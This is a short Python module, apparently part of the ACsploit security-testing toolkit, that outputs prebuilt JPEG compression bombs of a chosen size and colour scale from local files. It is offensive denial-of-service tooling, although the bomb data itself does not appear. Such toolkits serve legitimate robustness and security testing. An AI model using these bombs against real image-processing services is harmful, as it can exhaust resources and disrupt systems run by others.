from acsploit.options import Options
import os

options = Options()
options.add_option('size', 10, 'Size of decompressed JPEG in KB', list(range(10, 61, 10)))
options.add_option('color', 'gray', 'color scale', ['gray', 'rgb'])

DESCRIPTION = 'Produces JPEG compression bomb for given size and color scale.' \
              '\n\n  ' \
              'JPEG bombs of certain sizes will be output. Credit to https://bomb.codes.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
	'final_newline': False,
	'format': 'binary'
}


def run(output):
	size = str(options['size'])
	color = options['color']

	with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'jpeg_bombs', color, size + 'K.jpeg'), 'rb') as f:
		output.output([f.read()])
